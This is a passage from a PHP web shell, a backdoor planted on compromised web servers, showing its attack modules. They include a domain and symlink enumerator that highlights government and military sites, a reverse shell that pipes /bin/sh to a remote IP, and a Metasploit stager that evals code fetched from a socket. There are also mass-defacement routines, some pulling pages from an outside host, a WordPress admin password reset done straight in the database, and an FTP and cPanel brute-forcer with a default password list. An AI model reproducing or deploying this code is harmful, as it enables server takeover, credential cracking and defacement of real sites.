3516$iran = '\.ir';
3517$israel = '\.il';
3518$indo = '\.id';
3519$sg12 = '\.sg';
3520$edu = '\.edu';
3521$gov = '\.gov';
3522$gose = '\.go';
3523$gober = '\.gob';
3524$mil1 = '\.mil';
3525$mil2 = '\.mi';
3526$malay = '\.my';
3527$china = '\.cn';
3528$japan = '\.jp';
3529$austr = '\.au';
3530$porn = '\.xxx';
3531$as = '\.uk';
3532$calfn = '\.ca';
3533
3534if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
3535or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
3536or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
3537or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
3538{
3539$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
3540}
3541echo "
3542<tr>
3543
3544<td>
3545<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
3546</td>
3547
3548<td>
3549'.$UID['name']."
3550</td>
3551
3552<td>
3553<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
3554</td>
3555
3556</tr></div> ";
3557flush();
3558}
3559}
3560}
3561}
3562
3563echo "</center></table>";
3564}else if(isset($_GET['x']) && $_GET['x']=='domain'){
3565?>
3566<form action="?y=<?php echo $pwd; ?>&x=domain" method="post">
3567
3568<?php
3569
3570echo '<br><br><center><h1>--==[ Local Domain Viewer ]==--</h1></center><br><br><div class=content>';
3571
3572$file = @implode(@file("/etc/named.conf"));
3573if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
3574preg_match_all("#named/(.*?).db#",$file ,$r);
3575$domains = array_unique($r[1]);
3576{
3577echo "<table align=center border=1 width=59% cellpadding=5>
3578<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
3579<tr><td>Domain</td><td>User</td></tr>";
3580foreach($domains as $domain){
3581$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
3582
3583echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
3584}
3585echo "</table>";
3586}
3587
3588echo '</div>';
3589}
3590elseif(isset($_GET['x']) && ($_GET['x'] == 'tool'))
3591{
3592?>
3593<form action="?path=<?php echo $path; ?>&x=tool" method="post">
3594<?php
3595
3596error_reporting(0);
3597function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
3598$s_my_ip = gethostbyname($_SERVER['HTTP_HOST']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<br><br><br><center><table><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo $pwd;?>&x='tool'><table class='tabnet'><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='".$rstarget4."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='".$rsportb4."' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='".$pwd."' /></form></td><td><hr color='#4C83AF'><td><td><form method='POST'><table class='tabnet'><h2>Metasploit Connection </h2><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='".$my_ip."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center></table><br><br />";
3599echo $s_result;
3600if($_POST['metaConnect']){$ipaddr = $_POST['yip'];$port = $_POST['yport'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable('stream_socket_client')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = 'stream';}elseif (is_callable('fsockopen')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = 'stream';}elseif (is_callable('socket_create')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = 'socket';}else {die();}switch ($msgsock_type){case 'stream': $len = fread($msgsock, 4); break;case 'socket': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a['len'];$buffer = '';while (strlen($buffer) < $len){switch ($msgsock_type) {case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
3601if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
3602if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
3603if ($_POST['xback_php']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = '/bin/sh';$daemon = 0;$debug = 0;if(function_exists('pcntl_fork')){$pid = pcntl_fork();
3604if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
3605umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
3606$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
3607$process = proc_open($shell, $descriptorspec, $pipes);
3608if(!is_resource($process)) exit(1);
3609stream_set_blocking($pipes[0], 0);
3610stream_set_blocking($pipes[1], 0);
3611stream_set_blocking($pipes[2], 0);
3612stream_set_blocking($sock, 0);
3613while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
3614if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
3615if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
3616if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}
3617?>
3618<?php
3619}elseif(isset($_GET['x']) && $_GET['x']=='mass'){
3620?>
3621<?php
3622echo "<center/><br/><b><font color=#FF0000>--==[ Mass Deface ]==--</font></b><br>";
3623error_reporting(0);?>
3624<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
3625<td><table><table class="tabnet" >
3626<form hethot='post'>
3627<tr>
3628<tr>
3629<td> Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
3630</tr><br>
3631<tr>
3632<td>File N</td><td><input class ='inputz' type='text' name='file' size='60' value="L.php"></td>
3633</tr>
3634</tr>
3635<th class='th' colspan='2'><b>Index Code</b></th><br></table>
3636<textarea style='background:black;outline:none;color:white' name='index' rows='10' cols='67'>Powered By Eagle Cyber Army</textarea><br>
3637<center><input class='inputzbut' type='submit' value=" Deface "></center></form></table><br></form>
3638
3639<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}
3640?>
3641<?php
3642}
3643elseif(isset($_GET['x']) && $_GET['x']=='hash'){
3644?>
3645<?php
3646if(isset($_POST['L'])){
3647$submit= $_POST['enter'];
3648if (isset($submit)) {
3649$pass = $_POST['password']; // password
3650$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
3651$hash = md5($pass); // md5 hash #1
3652$md4 = hash("md4",$pass);
3653$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
3654$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
3655$hash1 = sha1($pass); // sha1 hash #4
3656$sha256 = hash("sha256",$pass);
3657$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
3658$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
3659$sha256_salt = hash("sha256",$pass.$salt);
3660}
3661}
3662echo '<form action="" method="post"><b><table class=tabnet>';
3663echo '<input type=hidden name=L />';
3664echo '<tr><th class=th colspan="2">Password Hash</th></center></tr>';
3665echo '<tr><td><b>Enter the word you want to encrypt:</b></td>';
3666echo '<td><input class="inputz" type="text" name="password" size="40" />';
3667echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
3668echo '</td></tr><br>';
3669echo '<tr><th class=th colspan="2">Hash Result</th></center></tr>';
3670echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value=';
3671if(isset($pass)) echo $pass;
3672echo '></td></tr>';
3673echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value=';
3674if(isset($hash)) echo $hash;
3675echo '></td></tr>';
3676echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value=';
3677if(isset($md4)) echo $md4;
3678echo '></td></tr>';
3679echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value=';
3680if(isset($hash_md5)) echo $hash_md5;
3681echo '></td></tr>';
3682echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value=';
3683if(isset($hash_md5_double)) echo $hash_md5_double;
3684echo '></td></tr>';
3685echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value=';
3686if(isset($hash1)) echo $hash1;
3687echo '></td></tr>';
3688echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value=';
3689if(isset($sha256)) echo $sha256;
3690echo '></td></tr>';
3691echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value=';
3692if(isset($hash1_sha1)) echo $hash1_sha1;
3693echo'></td></tr>';
3694echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value=';
3695if(isset($hash1_sha1_double)) echo $hash1_sha1_double;
3696echo'></td></tr>';
3697echo '<tr><td>Sha256 with Salt</td><td><input class=inputz type=text size=50 value=';
3698echo $sha256_salt;
3699echo '></td></tr></table>';
3700?>
3701<?php
3702}elseif(isset($_GET['x']) && $_GET['x']=='deface'){
3703?>
3704<center>
3705<table class=tabnnet style="width:333px;padding:0 1px;">
3706 <tr>
3707 <th style='border-bottom:1px solid red' colspan="5" >DEFACE</th>
3708 </tr>
3709 <tr>
3710 <td>
3711 <form action method=post>
3712 <input type=hidden name=L />
3713  Filename : <input type=text name=filename value=L.php style="border:2px solid green;border-radius:5px;background:black;color:red;width:250" />
3714 <select class=inputzbut name=dp >
3715 <option value="" selected>------------------Select Dp to use------------------</option>
3716 <option value="a1">First dp </option>
3717 <option value="a2">Eagle cyber Army</option>
3718 <option value="a3">Infernal Defacer Team</option>
3719 </select>
3720 <input class=inputz type=submit value=deface />
3721 </form>
3722<?php
3723if(isset($_POST['L'])){
3724 $name = $_POST['filename'];
3725 if($_POST['filename'] == ''){
3726 $aa = 0;
3727 }elseif($_POST['dp'] == ''){
3728 $aa = 0;
3729 }else{
3730 $aa = 1;
3731 }
3732 if($aa == 1){
3733 if($_POST['dp'] == 'a1'){
3734 $dp1 = file_get_contents("http://lhunker.890m.com/dp1.txt");
3735 $df = fopen($path.'/'.$_POST['filename'],"w");
3736 fwrite($df,$dp1);
3737 fclose($df);
3738 echo "<center>Deface page uploaded successfully -> <a href=?x=view&path=$path&name=$name>$name</a></center>";
3739 }elseif($_POST['dp']== 'a2'){
3740 $dp2 = file_get_contents("http://lhunker.890m.com/dp2.txt");
3741 $df = fopen($path.'/'.$_POST['filename'],"w");
3742 fwrite($df,$dp2);
3743 fclose($df);
3744 echo "<center>Deface page uploaded successfully -> <a href=?x=view&path=$path&name=$name>$name</a></center>";
3745 }elseif($_POST['dp']== 'a3'){
3746 $dp3 = file_get_contents("http://lhunker.890m.com/dp3.txt");
3747 $df = fopen($path.'/'.$_POST['filename'],"w");
3748 fwrite($df,$dp3);
3749 fclose($df);
3750 echo "<center>Deface page uploaded successfully -> <a href=?x=view&path=$path&name=$name>$name</a></center>";
3751 }else{
3752 echo "<center>failed</center>";
3753 }
3754 }else{
3755 echo "<center>failed</center>";
3756 }
3757}
3758?>
3759<?php
3760}elseif(isset($_GET['x']) && $_GET['x']== 'hashidentifier'){
3761?>
3762<?php
3763if(isset($_POST['gethash'])){
3764 $hash = $_POST['hash'];
3765 if(strlen($hash)==32){
3766 $hashresult = "MD5 Hash";
3767 }elseif(strlen($hash)==40){
3768 $hashresult = "SHA-1 Hash/ /MySQL5 Hash";
3769 }elseif(strlen($hash)==13){
3770 $hashresult = "DES(Unix) Hash";
3771 }elseif(strlen($hash)==16){
3772 $hashresult = "MySQL Hash / /DES(Oracle Hash)";
3773 }elseif(strlen($hash)==41){
3774 $GetHashChar = substr($hash, 40);
3775 if($GetHashChar == "*"){
3776 $hashresult = "MySQL5 Hash";
3777 }else{
3778 $hashresult = "Hash type not found";
3779 }
3780 }elseif(strlen($hash)==64){
3781 $hashresult = "SHA-256 Hash";
3782 }elseif(strlen($hash)==96){
3783 $hashresult = "SHA-384 Hash";
3784 }elseif(strlen($hash)==128){
3785 $hashresult = "SHA-512 Hash";
3786 }elseif(strlen($hash)==34){
3787 if(strstr($hash, '$1$')){
3788 $hashresult = "MD5(Unix) Hash";
3789 }else{
3790 $hashresult = "Hash type not found";
3791 }
3792 }elseif(strlen($hash)==37){
3793 if(strstr($hash, '$apr1$')){
3794 $hashresult = "MD5(APR) Hash";
3795 }else{
3796 $hashresult = "Hash type not found";
3797 }
3798 }elseif(strlen($hash)==34){
3799 if(strstr($hash, '$H$')){
3800 $hashresult = "MD5(phpBB3) Hash";
3801 }else{
3802 $hashresult = "Hash type not found";
3803 }
3804 }elseif(strlen($hash)==34){
3805 if(strstr($hash, '$P$')){
3806 $hashresult = "MD5(Wordpress) Hash";
3807 }else{
3808 $hashresult = "Hash type not found";
3809 }
3810 }elseif(strlen($hash)==39){
3811 if(strstr($hash, '$5$')){
3812 $hashresult = "SHA-256(Unix) Hash";
3813 }else{
3814 $hashresult = "Hash type not found";
3815 }
3816 }elseif(strlen($hash)==39){
3817 if(strstr($hash, '$6$')){
3818 $hashresult = "SHA-512(Unix) Hash";
3819 }else{
3820 $hashresult = "Hash type not found";
3821 }
3822 }elseif(strlen($hash)==24){
3823 if(strstr($hash, '==')){
3824 $hashresult = "MD5(Base-64) Hash";
3825 }else{
3826 $hashresult = "Hash type not found";
3827 }
3828 }else{
3829 $hashresult = "Hash type not found";
3830 }
3831}else{
3832 $hashresult = "No Hash Entered";
3833}
3834?>
3835<center><br><Br><br>
3836
3837<form action="" method="POST">
3838<tr>
3839<table class="tabnet">
3840<th colspan="5">Hash Identification</th>
3841<tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
3842<tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
3843</table></tr></form>
3844</center>
3845<?php
3846}
3847elseif(isset($_GET['x']) && $_GET['x']=='wp-respass'){
3848 ?>
3849<form action="?path=<?php echo $path; ?>&x=wp-respass" method="post">
3850
3851 <?php
3852
3853 echo "<center/><br/><b><font color=#FF0000>--==[ Wordpress Reset Password ]==--</font></b><br><br>";
3854
3855 if(empty($_POST['pwd'])){
3856
3857 echo "<FORM method='POST'>
3858 <table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td> Hostname</td><td>
3859 <input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
3860 <input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td> username</td><td>
3861 <input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td> password</td><td>
3862 <input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
3863 <tr><td> User baru</td><td>
3864 <input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
3865 <tr><td> Pass Baru</td><td>
3866 <input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />
3867 <input style='width:19%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
3868 </td></tr> </table><br><br><br><br>";
3869 }else{
3870 $localhost = $_POST['localhost'];
3871 $database = $_POST['database'];
3872 $username = $_POST['username'];
3873 $password = $_POST['password'];
3874 $pwd = $_POST['pwd'];
3875 $admin = $_POST['admin'];
3876 @mysql_connect($localhost,$username,$password) or die(mysql_error());
3877 @mysql_select_db($database) or die(mysql_error());
3878 $hash = crypt($pwd);
3879 $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
3880 $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
3881 $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
3882 $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
3883 $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
3884 $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
3885 $a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
3886
3887
3888 if($a4s){
3889 echo "<b> Success!! Now You Can Login To wp-admin</b> ";
3890 }
3891
3892}
3893
3894
3895echo "
3896</div>";
3897?>
3898<?php
3899}elseif(isset($_GET['x']) && ($_GET['x'] == 'brute')){
3900 $connect_timeout=5;
3901 set_time_limit(0);
3902 $submit=$_REQUEST['submit'];
3903 $users=$_REQUEST['users'];
3904 $pass=$_REQUEST['passwords'];
3905 $target=$_REQUEST['target'];
3906 $cracktype=$_REQUEST['cracktype'];
3907 if($target == ""){
3908 $target = $server_ip;}
3909 ?>
3910<div align="center"><form method="POST" style="border: 1px solid #000000"><br>
3911 <?php
3912 function ftp_check($host,$user,$pass,$timeout){
3913 $ch = curl_init();curl_setopt($ch, CURLOPT_URL, "ftp://$host");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);curl_setopt($ch, CURLOPT_FAILONERROR, 1);$data = curl_exec($ch);
3914 if ( curl_errno($ch) == 28 ) {print "<b>Connection Timed out</b>";exit;}
3915 elseif (curl_errno($ch) == 0 ){
3916 print "<table width='67%'><tr><td align=center><b>Username ($user) | Password ($pass)</b></td></tr></table>";
3917 }
3918 curl_close($ch);
3919 }
3920 function cpanel_check($host,$user,$pass,$timeout){
3921 $ch = curl_init();
3922 curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
3923 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
3924 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
3925 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
3926 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
3927 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
3928 $data = curl_exec($ch);
3929 if ( curl_errno($ch) == 28 ) {
3930 print "<b>Connection Timed out</b>";
3931 exit;
3932 }
3933 elseif ( curl_errno($ch) == 0 ){
3934 print "<table width='67%'><tr><td align=center><b>[+]Username ($user) | Password ($pass)</b></td></tr></table>";
3935 }
3936 curl_close($ch);}if(isset($submit) && !empty($submit)){
3937 if(empty($users) && empty($pass)){
3938 print "<p><b>Error : Check The Users and Password List</b></p>";
3939 exit;
3940 }
3941 if(empty($users)){
3942 print "<p><b>Error :Check The Users List</b></p>";
3943 exit;
3944 }
3945 if(empty($pass) ){
3946 print "<p><b>Error :Check The Password List</b></p>";
3947 exit;};
3948 $userlist=explode("\n",$users);
3949 $passlist=explode("\n",$pass);
3950 print "<b>[~] Wait ...</b><br><br>";
3951 foreach ($userlist as $user) {
3952 $pureuser = trim($user);
3953 foreach ($passlist as $password ) {
3954 $purepass = trim($password);
3955 if($cracktype == "ftp"){
3956 ftp_check($target,$pureuser,$purepass,$connect_timeout);
3957 }
3958 if ($cracktype == "cpanel"){
3959 cpanel_check($target,$pureuser,$purepass,$connect_timeout);
3960 }
3961 }
3962 }
3963 }
3964 echo "<form method=POST action=''><table width='67%'><tr><td><br><p align='center'><b><span lang='en-us'>IP</span> :<input class='inputz' type='text' name='target' size='16' value=$target></b></p><div align='center'><p align='center'>users<textarea class='inputz' cols=20 rows=20 name='users'>";
3965 system('ls /var/mail');
3966 echo "</textarea>passwords<textarea class='inputz' cols=20 rows=20 name='passwords'>123123\n123456\n1234567\n12345678\n123456789\n159159\n112233\nadmin\n332211\n1478963\npassword\npasswd\n159357\n357951\n114477\npass\nPassword</textarea><br><br><input name='cracktype' value='cpanel' checked type='radio'></span><b>Cpanel(2082)</b><input name='cracktype' value='ftp' style='font-weight: 700;' type='radio'></font></font><font style='font-weight: 700;' size='2' face='Tahoma'><span style='font-weight: 700;'>Ftp (21)</span></p><br><center><input class='inputzbut' type='submit' value='Start Cracking' name='submit'></center></td></tr></table></td></tr></form>";
3967 die();
3968 }
3969?>
3970 <?php
3971 }else{
3972 lp();
3973 }
3974}else{
3975 echo lp();
3976}
3977?>
3978</body>
3979</html>